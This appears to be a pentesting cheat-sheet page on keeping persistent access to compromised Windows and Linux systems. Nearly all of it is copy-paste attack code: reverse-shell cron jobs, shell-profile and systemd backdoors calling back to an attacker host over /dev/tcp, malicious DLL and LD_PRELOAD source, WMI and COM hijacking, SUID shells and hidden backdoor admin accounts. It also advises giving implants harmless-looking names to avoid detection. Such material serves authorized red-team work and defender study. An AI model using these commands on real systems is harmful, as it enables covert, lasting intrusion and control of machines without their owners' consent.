Skip to main content

Persistence

Persistence ensures continued access to a compromised system after reboots, credential changes, or network interruptions. The goal is to maintain a foothold without repeating the initial exploitation.

# Set environment variables
export TARGET=<ip>
export LHOST=<your-ip>
export LPORT=4444

Windows Persistence

Scheduled Tasks

Create a scheduled task that runs a reverse shell as SYSTEM every time the system boots:

schtasks /create /sc ONSTART /tn "SystemHealthCheck" /tr "C:\Users\Public\reverse.exe" /ru SYSTEM

Create a task that runs every 5 minutes:

schtasks /create /sc MINUTE /mo 5 /tn "CacheCleanup" /tr "C:\Users\Public\reverse.exe" /ru SYSTEM

Query existing tasks for review:

schtasks /query /tn "SystemHealthCheck" /fo LIST /v

Delete a task:

schtasks /delete /tn "SystemHealthCheck" /f
tip

Name your tasks to blend in with legitimate Windows tasks. Avoid obvious names like "backdoor" or "shell". Names like WindowsUpdate, CacheCleanup, or HealthMonitor are less likely to draw attention.

Registry Run Keys

Programs listed in these registry keys execute every time a user logs in.

Per-user (current user only, no admin required):

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\Users\Public\reverse.exe" /f

All users (requires admin):

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\Users\Public\reverse.exe" /f

Additional registry locations that support auto-execution: RunOnce (runs once then deletes itself), RunServices, RunServicesOnce, and Winlogon\Shell.

Query current entries:

reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

Startup Folder

Any executable or shortcut placed in the startup folder runs when the user logs in.

Current user startup folder:

copy reverse.exe "C:\Users\$USER\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

All users startup folder (requires admin):

copy reverse.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"

Windows Services

Create a new service that runs your payload as SYSTEM:

sc.exe create "WindowsHealthSvc" binpath= "C:\Users\Public\reverse.exe" start= auto obj= "LocalSystem"
sc.exe start "WindowsHealthSvc"
warning

Service executables must implement the Service Control Manager (SCM) interface properly, or they'll be killed after ~30 seconds. For persistent shells, use a service wrapper or configure the service to restart on failure.

Configure a service to restart on failure:

sc.exe failure "WindowsHealthSvc" reset= 0 actions= restart/10000/restart/10000/restart/10000

Modify an existing service's binary path (if you have write access to the service configuration):

sc.exe config "VulnerableService" binpath= "C:\Users\Public\reverse.exe"

DLL Search Order Hijacking

When an application loads a DLL without specifying the full path, Windows searches directories in a specific order. Placing a malicious DLL earlier in the search order causes the application to load your code instead.

Standard DLL search order (Safe DLL Search Mode enabled):

  1. Directory the application loaded from
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. Current working directory
  6. Directories in the PATH environment variable

Identify DLLs that a program attempts to load but can't find:

# Use Process Monitor (procmon) and filter:
# Process Name = target.exe
# Result = NAME NOT FOUND
# Path ends with .dll

If a SUID service or auto-start application loads a missing DLL from a writable directory, place your malicious DLL there. The DLL will be loaded the next time the application starts.

Create a malicious DLL (on Kali):

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("C:\\Users\\Public\\reverse.exe");
break;
}
return TRUE;
}

Cross-compile:

x86_64-w64-mingw32-gcc persistence_dll.c -shared -o hijacked.dll

WMI Event Subscriptions

WMI event subscriptions are a stealthy persistence mechanism. They consist of three components: an event filter (trigger condition), an event consumer (action to perform), and a binding that links them.

Create a permanent WMI event subscription that fires 60 seconds after every system startup:

# Event Filter — triggers 60 seconds after boot
$Filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments @{
Name = "SystemCoreFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 120"
}

# Event Consumer — executes the payload
$Consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer -Arguments @{
Name = "SystemCoreConsumer"
CommandLineTemplate = "C:\Users\Public\reverse.exe"
}

# Binding — connects the filter to the consumer
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter
Consumer = $Consumer
}
tip

WMI subscriptions persist across reboots and survive in the WMI repository, not the filesystem. They don't show up in common autoruns checks unless specifically queried.

List existing WMI subscriptions:

Get-WmiObject -Namespace "root\subscription" -Class __EventFilter
Get-WmiObject -Namespace "root\subscription" -Class CommandLineEventConsumer
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding

COM Hijacking

COM objects are registered in the registry with CLSIDs. If you overwrite the DLL path for a frequently used COM object, your DLL will be loaded whenever that object is instantiated.

Per-user COM hijacking (HKCU takes precedence over HKLM):

# Find a COM object that's loaded frequently
# Use Process Monitor to identify InprocServer32 lookups in HKCU that fall through to HKLM

# Create the HKCU override
reg add "HKCU\SOFTWARE\Classes\CLSID\{<target-CLSID>}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\malicious.dll" /f
reg add "HKCU\SOFTWARE\Classes\CLSID\{<target-CLSID>}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Both" /f

User Account Creation

Create a local admin account as a simple but effective backdoor:

net user backdoor Password123! /add
net localgroup Administrators backdoor /add

Hide the account from the login screen (requires admin):

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f

Linux Persistence

Cron Jobs

Add a cron job that connects back every 5 minutes:

(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'") | crontab -

If you have root access, add a system-wide cron job:

echo "*/5 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'" >> /etc/crontab

Or drop a script in the cron directories:

echo '#!/bin/bash' > /etc/cron.d/update-check
echo "*/5 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'" >> /etc/cron.d/update-check
chmod 644 /etc/cron.d/update-check

SSH Authorized Keys

Add your public key to the target's authorized_keys for passwordless SSH access:

echo "<your-public-key>" >> /home/$USER/.ssh/authorized_keys
chmod 600 /home/$USER/.ssh/authorized_keys
chmod 700 /home/$USER/.ssh

For root access:

mkdir -p /root/.ssh
echo "<your-public-key>" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

Generate a key pair on your attacking machine if you don't have one:

ssh-keygen -t ed25519 -f ~/.ssh/persistence_key -N ""
cat ~/.ssh/persistence_key.pub

Connect using the key:

ssh -i ~/.ssh/persistence_key $USER@$TARGET

Shell Profile Backdoors

Inject commands into shell profiles that execute on every user login.

For a specific user:

echo '/bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &" 2>/dev/null' >> /home/$USER/.bashrc

For all users (requires root):

echo '/bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &" 2>/dev/null' >> /etc/profile

Other profile files to consider: ~/.bash_profile, ~/.profile, ~/.bash_login, /etc/bash.bashrc.

warning

Profile backdoors only trigger when a user opens an interactive shell. For headless servers where SSH sessions are common, this is reliable. For servers managed primarily through web panels or automation tools, cron is more dependable.

Systemd Timers and Services

Create a persistent systemd service (requires root):

cat > /etc/systemd/system/system-health.service << 'EOF'
[Unit]
Description=System Health Monitor

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
Restart=on-failure
RestartSec=30

[Install]
WantedBy=multi-user.target
EOF

Replace LHOST and LPORT with actual values, then enable and start:

systemctl daemon-reload
systemctl enable system-health.service
systemctl start system-health.service

SUID Backdoor

Copy bash and set the SUID bit (requires root):

cp /bin/bash /tmp/.hidden-shell
chmod u+s /tmp/.hidden-shell

Execute later to get a root shell:

/tmp/.hidden-shell -p

The -p flag tells bash not to drop privileges from the effective UID.

LD_PRELOAD

If you can write to /etc/ld.so.preload, any shared library listed there will be loaded before all others by every dynamically linked program — including those run by root.

Create a shared library backdoor:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init() {
if (getuid() == 0) {
system("/bin/bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1 &' 2>/dev/null");
}
}

Compile and install:

gcc -shared -fPIC -o /tmp/.libsys.so backdoor.c -nostartfiles
echo "/tmp/.libsys.so" >> /etc/ld.so.preload

User Account Creation

Add a new user with root privileges:

useradd -m -s /bin/bash -G sudo backdoor
echo "backdoor:password123" | chpasswd

Or add a user with UID 0 (root-equivalent) directly to /etc/passwd:

echo 'backdoor:$(openssl passwd -6 password123):0:0::/root:/bin/bash' >> /etc/passwd
tip

Check if the target system uses /etc/passwd or an external authentication system (LDAP, SSSD, etc.) before adding local users.